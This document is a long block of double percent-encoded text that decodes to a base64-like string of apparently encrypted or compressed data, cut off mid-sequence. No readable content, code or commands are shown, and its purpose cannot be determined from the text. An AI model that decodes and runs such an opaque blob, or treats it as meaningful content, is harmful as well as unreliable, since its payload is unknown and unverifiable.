%37%32%25%36%31%25%37%31%25%35%39%25%34%35%25%34%37%25%36%36%25%37%30%25%36%39%25%34%34%25%33%31%25%34%35%25%33%39%25%34%66%25%36%38%25%35%36%25%36%61%25%34%61%25%36%33%25%37%32%25%33%30%25%34%64%25%33%34%25%36%34%25%35%33%25%35%30%25%34%62%25%35%38%25%36%38%25%33%37%25%37%37%25%35%31%25%35%34%25%35%39%25%36%62%25%36%66%25%34%31%25%33%36%25%35%35%25%36%64%25%34%36%25%33%33%25%36%31%25%34%64%25%34%39%25%37%34%25%34%36%25%36%39%25%34%61%25%35%36%25%34%37%25%35%61%25%36%37%25%37%38%25%34%39%25%35%33%25%34%66%25%35%33%25%33%31%25%37%36%25%36%38%25%37%33%25%35%31%25%37%35%25%35%34%25%34%36%25%36%65%25%35%34%25%36%63%25%33%38%25%34%61%25%34%32%25%34%36%25%35%37%25%34%37%25%34%39%25%34%63%25%33%33%25%36%34%25%33%33%25%37%30%25%33%33%25%32%66%25%35%34%25%37%39%25%34%37%25%33%30%25%33%31%25%37%33%25%37%38%25%34%31%25%36%65%25%36%63%25%37%32%25%36%32%25%36%62%25%34%31%25%37%35%25%37%31%25%34%64%25%36%31%25%36%38%25%37%32%25%35%38%25%33%31%25%33%39%25%36%62%25%35%36%25%33%38%25%34%37%25%34%33%25%34%33%25%33%33%25%34%61%25%32%66%25%37%39%25%36%61%25%36%64%25%33%36%25%35%36%25%36%35%25%34%38%25%37%38%25%34%36%25%37%30%25%37%31%25%35%34%25%37%36%25%36%39%25%36%35%25%35%38%25%37%32%25%34%35%25%36%62%25%36%32%25%36%61%25%36%33%25%33%34%25%36%36%25%33%34%25%36%33%25%36%62%25%37%38%25%35%31%25%34%38%25%34%33%25%34%66%25%37%37%25%36%61%25%34%66%25%36%39%25%34%62%25%34%32%25%34%37%25%37%37%25%37%34%25%36%39%25%36%64%25%33%32%25%33%34%25%35%36%25%36%62%25%36%63%25%35%31%25%36%37%25%35%37%25%34%64%25%37%30%25%34%35%25%37%36%25%37%38%25%35%31%25%33%30%25%32%62%25%33%33%25%33%31%25%34%32%25%36%36%25%37%61%25%33%36%25%36%61%25%33%34%25%34%37%25%33%32%25%33%31%25%36%65%25%37%33%25%36%63%25%37%39%25%34%66%25%36%33%25%36%35%25%34%36%25%34%36%25%34%37%25%36%38%25%35%61%25%34%32%25%33%35%25%33%34%25%37%32%25%33%36%25%36%34%25%34%61%25%37%34%25%36%31%25%35%39%25%33%35%25%34%33%25%34%39%25%36%33%25%33%37%25%35%38%25%32%62%25%36%36%25%37%30%25%36%66%25%36%61%25%36%32%25%35%32%25%33%39%25%34%38%25%36%31%25%35%37%25%34%36%25%37%39%25%34%62%25%36%35%25%35%37%25%34%35%25%34%66%25%37%39%25%36%36%25%34%36%25%34%38%25%33%39%25%35%61%25%34%66%25%35%36%25%34%38%25%33%31%25%35%31%25%32%62%25%35%37%25%35%36%25%33%31%25%36%38%25%34%31%25%37%35%25%35%31%25%34%32%25%36%62%25%37%33%25%34%38%25%34%35%25%36%32%25%35%30%25%34%32%25%34%66%25%37%39%25%37%35%25%33%33%25%34%66%25%37%37%25%34%38%25%37%32%25%36%65%25%37%34%25%33%39%25%34%63%25%36%66%25%37%32%25%36%35%25%37%35%25%37%37%25%33%33%25%36%66%25%37%61%25%37%35%25%33%37%25%34%35%25%36%63%25%36%35%25%35%61%25%36%66%25%35%30%25%34%32%25%36%63%25%34%35%25%36%34%25%35%33%25%35%38%25%34%63%25%33%30%25%37%39%25%35%30%25%33%37%25%32%62%25%33%32%25%36%61%25%34%35%25%34%33%25%36%66%25%33%34%25%34%62%25%35%30%25%37%37%25%37%38%25%34%39%25%37%32%25%35%39%25%33%32%25%37%32%25%34%62%25%33%38%25%35%33%25%33%31%25%34%66%25%36%38%25%34%34%25%36%32%25%35%30%25%36%64%25%34%32%25%37%39%25%37%39%25%35%36%25%35%35%25%33%31%25%34%65%25%37%32%25%37%30%25%37%31%25%34%62%25%32%62%25%37%37%25%33%39%25%35%61%25%37%35%25%34%63%25%34%62%25%36%38%25%33%30%25%34%36%25%33%31%25%35%34%25%37%35%25%37%38%25%36%34%25%36%32%25%37%34%25%35%32%25%33%30%25%33%31%25%34%65%25%37%32%25%36%63%25%33%31%25%37%33%25%37%31%25%36%33%25%37%39%25%36%35%25%35%30%25%37%32%25%32%62%25%37%39%25%36%36%25%34%65%25%36%32%25%35%35%25%34%32%25%34%38%25%37%33%25%36%32%25%37%31%25%36%39%25%33%33%25%34%61%25%33%33%25%36%63%25%35%39%25%33%36%25%37%31%25%37%61%25%33%33%25%37%38%25%34%61%25%33%39%25%32%66%25%37%35%25%37%61%25%34%62%25%34%61%25%35%31%25%33%37%25%33%38%25%36%65%25%33%36%25%35%61%25%33%38%25%34%61%25%33%39%25%33%35%25%33%34%25%34%36%25%34%31%25%36%32%25%33%32%25%36%37%25%35%30%25%33%39%25%34%36%25%34%65%25%35%37%25%33%30%25%36%32%25%34%32%25%36%34%25%37%30%25%37%61%25%35%61%25%33%38%25%35%32%25%36%61%25%33%31%25%36%33%25%36%35%25%34%63%25%34%32%25%36%62%25%35%36%25%32%62%25%34%38%25%37%38%25%36%62%25%37%35%25%35%30%25%36%36%25%33%35%25%35%30%25%37%33%25%35%30%25%37%36%25%35%33%25%35%36%25%36%32%25%35%35%25%35%33%25%36%37%25%35%35%25%33%33%25%36%36%25%37%30%25%36%65%25%33%37%25%37%31%25%34%38%25%36%37%25%33%38%25%36%35%25%36%63%25%36%36%25%34%39%25%34%61%25%34%35%25%33%38%25%36%38%25%34%35%25%33%32%25%33%33%25%36%32%25%35%61%25%34%34%25%36%63%25%35%39%25%33%34%25%37%33%25%35%32%25%33%36%25%37%38%25%34%37%25%33%31%25%35%30%25%36%38%25%37%33%25%37%38%25%35%61%25%36%33%25%32%66%25%33%31%25%37%32%25%33%30%25%37%32%25%34%33%25%37%61%25%37%33%25%33%36%25%37%30%25%37%30%25%34%39%25%34%31%25%34%66%25%33%36%25%37%32%25%34%38%25%32%66%25%33%30%25%35%37%25%35%37%25%33%38%25%36%61%25%34%38%25%37%38%25%37%36%25%35%39%25%37%39%25%34%36%25%36%66%25%37%31%25%35%31%25%37%33%25%35%38%25%36%35%25%36%65%25%36%63%25%36%66%25%36%64%25%34%38%25%36%63%25%35%61%25%34%64%25%37%36%25%33%32%25%35%35%25%34%34%25%37%39%25%33%32%25%37%31%25%37%38%25%36%66%25%34%62%25%37%30%25%35%34%25%35%34%25%37%39%25%34%31%25%35%39%25%36%31%25%36%34%25%33%39%25%34%33%25%36%64%25%33%39%25%37%30%25%34%66%25%37%35%25%33%30%25%32%62%25%35%33%25%37%33%25%34%35%25%33%34%25%34%34%25%33%34%25%36%33%25%37%36%25%35%31%25%35%32%25%36%38%25%35%33%25%34%33%25%34%36%25%36%35%25%36%37%25%34%65%25%36%34%25%34%34%25%34%63%25%36%34%25%34%37%25%35%39%25%35%38%25%35%31%25%33%32%25%34%66%25%36%38%25%36%37%25%34%36%25%34%31%25%36%31%25%34%39%25%37%35%25%34%63%25%34%36%25%37%37%25%37%39%25%32%62%25%35%35%25%36%61%25%34%31%25%37%37%25%36%32%25%32%66%25%35%30%25%35%35%25%36%61%25%33%37%25%34%35%25%36%37%25%34%37%25%37%30%25%34%63%25%36%65%25%33%30%25%35%34%25%34%39%25%36%38%25%35%32%25%36%62%25%37%31%25%36%63%25%36%65%25%36%63%25%37%38%25%36%38%25%36%38%25%35%30%25%33%31%25%33%30%25%36%39%25%34%65%25%36%34%25%34%66%25%35%38%25%34%63%25%36%61%25%34%35%25%33%39%25%34%34%25%34%62%25%35%36%25%33%33%25%34%65%25%34%37%25%34%35%25%37%33%25%34%39%25%34%39%25%36%37%25%33%32%25%36%63%25%33%33%25%36%32%25%35%31%25%34%37%25%35%38%25%34%64%25%37%31%25%33%31%25%34%38%25%34%36%25%36%35%25%36%64%25%37%35%25%33%34%25%32%66%25%36%66%25%34%35%25%36%63%25%36%61%25%36%34%25%33%30%25%36%33%25%34%37%25%36%66%25%33%30%25%35%31%25%34%38%25%37%35%25%33%35%25%36%37%25%36%37%25%34%66%25%35%30%25%34%31%25%32%62%25%33%33%25%34%65%25%33%32%25%35%38%25%36%35%25%37%61%25%37%31%25%37%32%25%34%65%25%37%36%25%37%39%25%36%33%25%36%62%25%33%34%25%36%35%25%37%61%25%34%64%25%34%38%25%35%61%25%36%34%25%32%62%25%36%36%25%34%61%25%33%30%25%34%37%25%36%66%25%35%35%25%34%64%25%35%61%25%37%31%25%35%30%25%34%65%25%35%39%25%34%64%25%36%38%25%36%31%25%33%31%25%36%66%25%34%35%25%34%32%25%35%61%25%34%38%25%33%36%25%34%37%25%34%31%25%35%37%25%34%39%25%35%37%25%35%61%25%33%32%25%36%31%25%37%39%25%35%33%25%36%61%25%34%61%25%36%38%25%34%34%25%37%37%25%34%64%25%35%35%25%33%32%25%33%36%25%36%62%25%34%31%25%35%30%25%36%63%25%36%33%25%35%61%25%34%38%25%33%34%25%33%32%25%37%61%25%36%66%25%37%61%25%37%39%25%34%32%25%34%31%25%36%38%25%37%34%25%37%61%25%33%34%25%32%66%25%36%66%25%35%34%25%36%32%25%37%61%25%33%33%25%36%62%25%37%33%25%33%32%25%37%39%25%35%35%25%33%30%25%32%62%25%34%34%25%35%37%25%34%35%25%36%36%25%33%34%25%34%64%25%35%34%25%34%64%25%33%38%25%37%30%25%33%37%25%35%34%25%34%35%25%35%61%25%35%39%25%34%61%25%35%34%25%34%38%25%35%61%25%36%33%25%36%63%25%37%61%25%35%39%25%34%37%25%36%34%25%34%35%25%35%35%25%37%32%25%36%31%25%35%33%25%34%63%25%34%33%25%35%37%25%36%35%25%34%37%25%36%65%25%34%65%25%34%65%25%35%34%25%32%62%25%34%33%25%36%36%25%33%33%25%33%30%25%35%33%25%34%66%25%34%61%25%35%30%25%36%39%25%35%33%25%35%32%25%34%31%25%33%31%25%34%37%25%36%66%25%36%37%25%36%61%25%35%34%25%37%39%25%34%36%25%35%33%25%37%39%25%34%35%25%34%65%25%35%38%25%34%33%25%34%64%25%35%31%25%36%63%25%33%35%25%36%63%25%33%30%25%36%37%25%36%64%25%34%63%25%34%34%25%37%35%25%34%65%25%36%33%25%33%33%25%33%32%25%37%61%25%37%33%25%35%34%25%34%62%25%37%33%25%34%39%25%36%66%25%37%61%25%33%37%25%33%30%25%37%37%25%36%33%25%34%39%25%37%39%25%33%30%25%33%34%25%34%61%25%35%32%25%35%61%25%33%30%25%36%63%25%37%30%25%34%37%25%34%38%25%33%31%25%33%38%25%37%30%25%34%39%25%33%38%25%37%36%25%33%31%25%37%32%25%35%30%25%34%39%25%34%38%25%33%30%25%37%35%25%34%39%25%34%37%25%36%38%25%33%33%25%36%66%25%36%32%25%33%30%25%35%38%25%36%36%25%36%38%25%35%30%25%35%36%25%36%38%25%37%37%25%35%37%25%34%33%25%37%37%25%33%32%25%37%32%25%36%39%25%36%38%25%37%37%25%37%34%25%36%35%25%33%32%25%36%64%25%36%61%25%36%64%25%37%38%25%34%39%25%33%37%25%36%33%25%35%36%25%34%31%25%35%61%25%36%35%25%33%36%25%36%62%25%33%38%25%35%39%25%32%62%25%36%64%25%33%35%25%34%37%25%36%36%25%37%61%25%35%34%25%35%38%25%34%62%25%35%61%25%37%32%25%37%35%25%34%66%25%32%62%25%33%30%25%32%62%25%37%39%25%36%39%25%37%30%25%36%66%25%34%63%25%37%32%25%34%38%25%34%33%25%35%39%25%37%38%25%37%34%25%35%37%25%36%66%25%37%36%25%35%34%25%37%38%25%37%32%25%36%36%25%33%31%25%35%33%25%37%61%25%36%38%25%34%61%25%34%63%25%36%31%25%36%33%25%36%37%25%33%33%25%33%36%25%34%32%25%33%35%25%33%30%25%34%66%25%35%38%25%34%34%25%37%38%25%35%37%25%34%36%25%37%37%25%36%33%25%34%34%25%36%38%25%36%35%25%34%38%25%37%37%25%33%38%25%36%31%25%37%32%25%37%31%25%34%63%25%36%35%25%37%38%25%36%64%25%37%35%25%35%30%25%37%38%25%36%62%25%33%31%25%37%36%25%36%61%25%35%37%25%35%35%25%33%30%25%36%39%25%37%33%25%36%66%25%32%66%25%37%33%25%37%61%25%34%31%25%36%37%25%34%66%25%34%64%25%35%34%25%35%30%25%37%32%25%34%32%25%36%32%25%34%31%25%32%66%25%35%38%25%36%66%25%36%32%25%37%36%25%36%34%25%34%61%25%33%30%25%32%66%25%32%62%25%34%64%25%35%37%25%37%36%25%36%61%25%35%36%25%36%33%25%36%33%25%35%30%25%36%33%25%35%31%25%36%66%25%36%64%25%35%30%25%37%35%25%33%34%25%36%66%25%34%37%25%33%35%25%36%39%25%33%31%25%35%33%25%35%61%25%34%31%25%34%64%25%36%63%25%37%30%25%36%34%25%33%37%25%35%37%25%37%34%25%34%64%25%32%62%25%37%39%25%33%30%25%34%37%25%34%36%25%35%36%25%35%37%25%33%32%25%37%36%25%35%33%25%35%36%25%35%38%25%33%34%25%34%32%25%37%36%25%34%64%25%36%39%25%37%32%25%35%33%25%34%37%25%37%36%25%33%36%25%36%62%25%37%35%25%34%36%25%36%64%25%36%66%25%36%36%25%35%30%25%34%64%25%33%31%25%33%33%25%37%39%25%33%30%25%35%35%25%37%35%25%36%35%25%33%33%25%35%32%25%35%38%25%37%32%25%34%34%25%34%35%25%33%35%25%35%33%25%37%38%25%33%38%25%34%34%25%34%35%25%36%64%25%34%65%25%36%64%25%32%66%25%35%31%25%37%33%25%37%39%25%33%33%25%35%30%25%34%62%25%36%31%25%34%63%25%35%35%25%37%37%25%34%31%25%35%32%25%34%65%25%36%63%25%33%30%25%35%30%25%36%33%25%35%31%25%37%31%25%37%39%25%36%34%25%35%33%25%37%32%25%36%64%25%34%32%25%33%35%25%33%32%25%37%35%25%34%39%25%36%37%25%34%35%25%34%66%25%34%62%25%36%61%25%35%30%25%34%32%25%34%62%25%36%37%25%36%32%25%36%66%25%35%61%25%36%64%25%36%31%25%34%34%25%37%31%25%35%37%25%36%31%25%35%31%25%35%34%25%34%34%25%35%36%25%34%31%25%37%31%25%36%34%25%35%34%25%34%64%25%35%32%25%35%36%25%34%66%25%37%34%25%35%31%25%37%61%25%36%36%25%34%34%25%34%62%25%35%37%25%37%32%25%36%33%25%37%33%25%33%35%25%37%36%25%37%34%25%33%39%25%35%33%25%34%35%25%34%31%25%33%31%25%36%63%25%36%33%25%36%37%25%35%31%25%35%32%25%36%38%25%35%33%25%34%33%25%34%32%25%36%33%25%36%37%25%36%33%25%33%35%25%34%31%25%34%63%25%33%38%25%33%30%25%37%39%25%33%35%25%36%62%25%32%62%25%34%31%25%34%34%25%34%32%25%34%64%25%35%61%25%35%30%25%33%38%25%35%33%25%32%66%25%37%33%25%35%34%25%33%30%25%36%39%25%36%33%25%33%31%25%33%36%25%35%61%25%32%62%25%37%32%25%37%36%25%37%38%25%34%62%25%33%30%25%34%33%25%33%36%25%37%30%25%37%30%25%33%37%25%36%36%25%34%38%25%36%38%25%33%34%25%33%38%25%35%38%25%33%35%25%33%30%25%34%34%25%35%39%25%37%35%25%34%39%25%37%30%25%35%30%25%33%38%25%35%37%25%37%38%25%35%34%25%37%34%25%35%30%25%36%35%25%36%39%25%37%38%25%34%37%25%33%35%25%37%37%25%34%63%25%37%35%25%33%32%25%32%66%25%33%30%25%34%39%25%34%36%25%37%37%25%32%62%25%36%36%25%36%31%25%35%36%25%34%33%25%34%33%25%33%35%25%34%63%25%36%38%25%34%38%25%35%61%25%37%31%25%33%30%25%36%39%25%36%62%25%36%64%25%36%64%25%35%32%25%37%61%25%37%34%25%35%39%25%33%37%25%34%63%25%36%31%25%36%64%25%35%35%25%37%38%25%35%37%25%37%61%25%36%61%25%37%34%25%37%36%25%35%39%25%36%62%25%37%31%25%36%63%25%34%38%25%33%36%25%36%62%25%37%30%25%35%37%25%36%32%25%33%38%25%34%65%25%35%35%25%34%37%25%37%61%25%35%38%25%34%34%25%33%31%25%37%38%25%34%36%25%35%61%25%35%36%25%36%33%25%37%36%25%37%36%25%34%35%25%33%36%25%35%36%25%32%62%25%37%39%25%36%64%25%34%38%25%37%31%25%36%39%25%35%39%25%34%38%25%34%62%25%35%33%25%34%61%25%34%65%25%33%35%25%34%66%25%35%33%25%36%33%25%35%36%25%36%34%25%34%38%25%34%39%25%34%33%25%37%35%25%37%33%25%34%33%25%33%33%25%35%39%25%37%39%25%34%62%25%34%32%25%35%37%25%36%65%25%34%62%25%36%64%25%34%31%25%36%33%25%35%34%25%33%39%25%35%32%25%36%33%25%34%61%25%34%66%25%35%39%25%36%35%25%34%62%25%33%39%25%33%35%25%37%35%25%36%33%25%34%62%25%34%36%25%36%39%25%37%30%25%36%63%25%37%34%25%36%65%25%36%34%25%34%61%25%37%35%25%33%37%25%34%35%25%33%30%25%35%32%25%36%38%25%35%35%25%36%34%25%37%30%25%36%32%25%32%62%25%37%61%25%33%36%25%37%32%25%36%65%25%33%33%25%36%38%25%32%66%25%35%35%25%33%32%25%36%36%25%34%36%25%34%33%25%34%38%25%34%61%25%36%38%25%36%64%25%33%37%25%36%62%25%35%35%25%37%61%25%34%65%25%32%66%25%34%33%25%34%66%25%33%38%25%33%30%25%35%36%25%36%61%25%36%65%25%35%36%25%34%62%25%36%33%25%37%36%25%37%34%25%33%32%25%32%66%25%34%61%25%33%31%25%35%38%25%36%64%25%34%65%25%37%31%25%34%34%25%35%31%25%35%34%25%36%31%25%36%37%25%34%65%25%37%31%25%34%33%25%35%32%25%36%65%25%37%33%25%34%63%25%35%35%25%36%65%25%34%62%25%33%31%25%32%66%25%35%31%25%32%62%25%37%35%25%36%64%25%32%66%25%36%35%25%33%31%25%34%38%25%36%33%25%34%64%25%33%33%25%37%38%25%36%33%25%34%32%25%36%64%25%37%31%25%34%62%25%36%34%25%34%35%25%33%30%25%37%39%25%35%39%25%36%65%25%34%63%25%36%34%25%37%35%25%34%35%25%36%64%25%34%61%25%33%38%25%34%36%25%34%65%25%37%31%25%34%62%25%35%61%25%33%34%25%37%35%25%34%65%25%36%64%25%34%37%25%37%39%25%33%35%25%37%32%25%33%30%25%36%34%25%33%36%25%35%35%25%35%36%25%34%65%25%35%34%25%36%65%25%34%32%25%35%30%25%34%31%25%35%38%25%35%36%25%36%64%25%36%64%25%36%38%25%35%61%25%36%31%25%34%31%25%33%34%25%37%36%25%35%34%25%34%36%25%36%61%25%33%37%25%36%35%25%36%35%25%34%37%25%37%32%25%36%36%25%34%62%25%36%39%25%32%62%25%35%61%25%33%38%25%37%37%25%37%38%25%36%66%25%35%33%25%36%36%25%35%35%25%36%62%25%33%31%25%33%34%25%36%36%25%35%37%25%35%30%25%36%38%25%37%31%25%37%61%25%36%34%25%36%34%25%33%38%25%33%32%25%33%36%25%36%37%25%35%34%25%34%33%25%33%36%25%32%62%25%36%61%25%36%61%25%36%65%25%36%33%25%36%33%25%36%37%25%34%35%25%36%33%25%33%35%25%33%38%25%36%39%25%33%38%25%36%32%25%33%39%25%32%62%25%33%31%25%34%63%25%36%38%25%34%61%25%37%31%25%35%35%25%34%64%25%36%31%25%34%34%25%37%61%25%33%32%25%36%33%25%37%31%25%36%61%25%36%37%25%33%33%25%36%65%25%36%63%25%36%33%25%35%34%25%37%34%25%37%38%25%37%34%25%36%64%25%33%39%25%35%32%25%33%36%25%33%31%25%34%66%25%35%32%25%36%34%25%35%39%25%34%37%25%33%34%25%33%37%25%34%31%25%35%30%25%37%38%25%37%38%25%37%61%25%33%37%25%33%33%25%33%39%25%33%30%25%36%35%25%36%66%25%37%37%25%37%31%25%32%66%25%37%34%25%37%61%25%37%39%25%37%35%25%33%36%25%33%39%25%36%34%25%36%35%25%37%32%25%34%64%25%34%36%25%37%36%25%37%30%25%36%66%25%37%61%25%35%30%25%36%32%25%37%34%25%37%32%25%36%63%25%35%32%25%37%39%25%36%65%25%37%32%25%37%36%25%34%38%25%32%66%25%35%38%25%36%65%25%37%32%25%33%37%25%34%61%25%36%38%25%34%63%25%36%61%25%33%35%25%34%33%25%34%38%25%36%65%25%33%32%25%36%62%25%34%39%25%36%31%25%33%30%25%32%66%25%35%38%25%37%39%25%37%61%25%32%66%25%36%31%25%35%38%25%37%37%25%35%37%25%35%35%25%34%37%25%37%35%25%34%34%25%36%61%25%34%63%25%33%35%25%37%32%25%36%63%25%35%31%25%37%31%25%36%35%25%35%37%25%35%36%25%37%36%25%36%63%25%37%34%25%36%33%25%34%65%25%36%31%25%37%38%25%34%62%25%34%34%25%35%30%25%37%36%25%37%30%25%36%66%25%35%36%25%32%62%25%36%62%25%36%38%25%37%36%25%37%34%25%37%32%25%34%65%25%33%39%25%34%32%25%33%31%25%33%38%25%34%34%25%34%33%25%35%35%25%36%64%25%32%62%25%37%32%25%33%39%25%35%33%25%34%33%25%33%37%25%35%61%25%36%32%25%36%66%25%33%31%25%35%35%25%36%35%25%37%31%25%36%39%25%32%66%25%33%39%25%34%38%25%36%63%25%34%33%25%35%61%25%33%35%25%37%36%25%33%31%25%34%61%25%34%62%25%36%32%25%34%37%25%36%35%25%35%34%25%37%31%25%33%31%25%35%37%25%35%39%25%33%34%25%37%37%25%36%33%25%33%37%25%37%33%25%37%34%25%36%32%25%33%30%25%33%39%25%37%31%25%33%35%25%35%39%25%37%34%25%33%39%25%33%37%25%36%32%25%33%33%25%34%37%25%34%33%25%35%37%25%35%32%25%36%62%25%37%34%25%34%38%25%36%61%25%32%62%25%33%33%25%37%35%25%33%37%25%34%32%25%36%66%25%33%37%25%34%39%25%33%34%25%33%38%25%34%37%25%34%33%25%36%32%25%34%63%25%34%33%25%36%31%25%36%31%25%33%33%25%33%30%25%36%38%25%36%62%25%33%32%25%37%37%25%33%37%25%33%39%25%35%30%25%33%37%25%34%63%25%32%62%25%33%37%25%32%62%25%36%32%25%34%64%25%36%64%25%35%33%25%32%66%25%34%39%25%34%39%25%34%36%25%37%35%25%35%33%25%35%30%25%36%31%25%33%31%25%36%36%25%36%64%25%37%30%25%37%61%25%37%38%25%36%63%25%33%32%25%37%34%25%35%61%25%34%63%25%36%38%25%36%36%25%36%38%25%33%33%25%34%33%25%37%31%25%37%34%25%37%35%25%35%38%25%33%33%25%36%64%25%33%30%25%34%64%25%32%62%25%34%39%25%37%37%25%34%39%25%36%62%25%37%31%25%37%36%25%34%62%25%36%31%25%33%39%25%35%33%25%36%34%25%34%32%25%36%37%25%37%38%25%34%64%25%34%32%25%37%33%25%37%34%25%34%33%25%37%38%25%37%30%25%35%38%25%33%35%25%34%62%25%35%34%25%37%39%25%36%62%25%34%64%25%35%32%25%36%66%25%33%39%25%36%61%25%34%62%25%36%35%25%37%35%25%36%65%25%33%37%25%37%36%25%33%36%25%33%35%25%36%31%25%35%36%25%37%33%25%37%34%25%35%36%25%37%38%25%36%62%25%36%66%25%35%34%25%33%37%25%34%36%25%32%62%25%37%30%25%35%35%25%36%62%25%36%35%25%36%62%25%36%32%25%34%35%25%33%33%25%34%38%25%34%36%25%34%32%25%34%62%25%37%32%25%34%65%25%33%39%25%32%66%25%36%35%25%33%32%25%33%33%25%34%63%25%37%32%25%34%61%25%36%33%25%36%65%25%33%36%25%35%30%25%36%35%25%35%33%25%33%36%25%36%66%25%35%35%25%35%39%25%35%37%25%34%37%25%34%37%25%36%63%25%37%38%25%35%30%25%36%35%25%37%36%25%34%32%25%36%61%25%34%31%25%34%63%25%33%38%25%37%35%25%35%37%25%37%35%25%35%36%25%36%32%25%34%34%25%35%38%25%37%61%25%33%33%25%32%62%25%33%31%25%33%35%25%35%38%25%37%35%25%33%31%25%35%33%25%37%32%25%37%33%25%37%36%25%36%63%25%35%35%25%36%63%25%33%32%25%35%38%25%36%63%25%33%34%25%34%31%25%37%35%25%34%34%25%36%34%25%34%32%25%36%32%25%36%38%25%35%36%25%33%30%25%34%38%25%37%39%25%35%33%25%35%38%25%33%35%25%33%33%25%32%66%25%36%35%25%35%32%25%37%37%25%34%35%25%36%34%25%33%35%25%37%31%25%35%35%25%36%35%25%35%37%25%35%36%25%35%36%25%35%31%25%34%35%25%33%32%25%34%32%25%33%37%25%37%36%25%37%31%25%34%38%25%36%64%25%34%39%25%36%36%25%36%36%25%35%39%25%34%39%25%36%39%25%35%37%25%33%36%25%37%33%25%37%38%25%34%37%25%35%37%25%32%62%25%35%39%25%32%66%25%33%32%25%37%36%25%35%36%25%35%61%25%36%64%25%36%64%25%36%32%25%36%64%25%36%64%25%33%37%25%37%35%25%37%35%25%33%38%25%32%62%25%37%31%25%37%30%25%35%35%25%35%39%25%34%31%25%37%37%25%36%39%25%33%35%25%33%37%25%34%32%25%36%37%25%36%33%25%34%65%25%36%39%25%36%63%25%36%64%25%35%34%25%34%31%25%35%38%25%37%32%25%37%30%25%35%31%25%35%37%25%33%36%25%37%38%25%36%36%25%36%34%25%35%33%25%36%37%25%34%35%25%37%31%25%35%35%25%35%36%25%35%37%25%33%36%25%36%62%25%36%35%25%36%33%25%36%38%25%35%37%25%34%32%25%35%35%25%35%61%25%37%34%25%36%34%25%34%39%25%35%33%25%33%38%25%34%38%25%35%34%25%36%65%25%37%31%25%33%37%25%35%39%25%36%35%25%34%35%25%36%37%25%33%37%25%35%61%25%37%32%25%35%33%25%35%61%25%35%31%25%37%30%25%34%33%25%35%33%25%35%33%25%37%33%25%36%37%25%34%39%25%34%36%25%34%64%25%36%35%25%35%31%25%37%36%25%36%36%25%37%39%25%33%39%25%35%33%25%35%31%25%36%63%25%37%36%25%34%32%25%36%61%25%33%36%25%33%34%25%33%39%25%34%36%25%33%36%25%37%34%25%37%37%25%37%35%25%34%37%25%37%32%25%36%64%25%37%37%25%37%39%25%34%31%25%35%61%25%37%36%25%37%38%25%36%37%25%37%61%25%34%32%25%34%39%25%35%37%25%34%37%25%35%36%25%37%38%25%34%38%25%34%39%25%33%35%25%32%66%25%36%66%25%33%34%25%32%66%25%33%31%25%33%38%25%36%65%25%37%33%25%36%65%25%35%39%25%34%33%25%36%36%25%37%38%25%34%39%25%33%34%25%33%30%25%37%37%25%34%35%25%33%31%25%36%35%25%36%65%25%37%35%25%37%32%25%34%38%25%36%35%25%32%62%25%33%38%25%34%61%25%34%62%25%37%31%25%35%35%25%35%33%25%35%38%25%36%33%25%36%62%25%33%38%25%37%33%25%37%33%25%34%36%25%34%64%25%33%34%25%32%62%25%37%37%25%35%33%25%34%35%25%34%33%25%33%37%25%37%34%25%34%39%25%36%38%25%32%66%25%37%34%25%33%34%25%35%34%25%35%30%25%34%36%25%37%32%25%36%35%25%37%33%25%37%35%25%32%66%25%37%32%25%33%34%25%36%37%25%34%34%25%35%31%25%35%31%25%32%62%25%33%31%25%36%65%25%34%32%25%37%34%25%35%31%25%34%62%25%37%31%25%37%31%25%32%66%25%36%35%25%35%33%25%35%32%25%35%36%25%37%39%25%37%32%25%34%65%25%35%32%25%37%36%25%34%32%25%37%34%25%35%33%25%34%36%25%36%35%25%35%38%25%35%30%25%37%33%25%35%39%25%33%37%25%36%66%25%36%37%25%37%61%25%36%33%25%32%62%25%33%35%25%34%33%25%37%31%25%37%36%25%36%37%25%37%37%25%33%31%25%37%61%25%33%38%25%34%64%25%37%39%25%36%32%25%34%33%25%32%66%25%36%31%25%33%37%25%36%35%25%33%30%25%35%61%25%36%64%25%35%35%25%36%33%25%37%31%25%33%30%25%37%34%25%36%39%25%37%39%25%34%64%25%33%32%25%34%64%25%33%30%25%36%39%25%37%30%25%35%33%25%35%38%25%35%61%25%36%38%25%34%31%25%36%38%25%34%31%25%34%38%25%37%37%25%34%37%25%35%31%25%34%37%25%35%38%25%35%61%25%34%64%25%34%32%25%34%64%25%36%61%25%36%38%25%34%36%25%33%39%25%36%34%25%36%61%25%36%39%25%36%65%25%35%30%25%34%66%25%37%61%25%36%36%25%35%35%25%36%36%25%36%38%25%32%66%25%37%35%25%35%36%25%36%39%25%33%38%25%36%31%25%35%32%25%33%32%25%36%38%25%37%31%25%37%61%25%35%35%25%36%63%25%33%35%25%36%66%25%34%61%25%34%35%25%33%32%25%35%30%25%34%33%25%33%33%25%34%31%25%35%35%25%35%34%25%34%66%25%36%65%25%37%36%25%34%66%25%33%39%25%36%36%25%36%37%25%35%39%25%32%62%25%35%39%25%33%31%25%34%31%25%36%32%25%36%64%25%36%36%25%35%31%25%36%61%25%35%38%25%37%35%25%34%64%25%36%61%25%36%32%25%32%66%25%35%30%25%35%61%25%34%34%25%35%36%25%34%63%25%34%34%25%36%35%25%36%33%25%35%39%25%32%62%25%37%31%25%35%33%25%35%34%25%36%38%25%36%32%25%37%35%25%36%61%25%35%30%25%35%34%25%34%38%25%35%34%25%34%63%25%35%34%25%34%66%25%36%64%25%36%64%25%34%62%25%36%33%25%36%62%25%36%39%25%34%61%25%34%61%25%34%62%25%33%31%25%34%64%25%34%33%25%35%37%25%33%37%25%33%35%25%33%33%25%37%34%25%33%36%25%34%66%25%36%62%25%36%66%25%36%65%25%36%36%25%32%66%25%37%37%25%37%35%25%35%36%25%36%38%25%34%37%25%34%63%25%36%63%25%32%66%25%35%30%25%37%35%25%35%61%25%33%35%25%37%32%25%34%66%25%35%38%25%37%34%25%35%37%25%32%62%25%35%30%25%36%37%25%37%37%25%34%34%25%33%35%25%34%39%25%36%64%25%32%66%25%36%36%25%37%36%25%37%35%25%37%31%25%37%61%25%35%39%25%33%37%25%36%34%25%33%30%25%36%38%25%33%35%25%32%62%25%34%63%25%36%63%25%35%31%25%36%64%25%36%61%25%37%37%25%37%30%25%34%63%25%36%64%25%34%63%25%33%37%25%37%38%25%37%35%25%32%66%25%35%34%25%37%37%25%34%34%25%36%65%25%35%31%25%33%30%25%34%63%25%35%35%25%35%37%25%34%39%25%35%39%25%32%66%25%33%38%25%34%66%25%37%33%25%33%34%25%35%32%25%35%33%25%36%31%25%35%37%25%35%33%25%36%38%25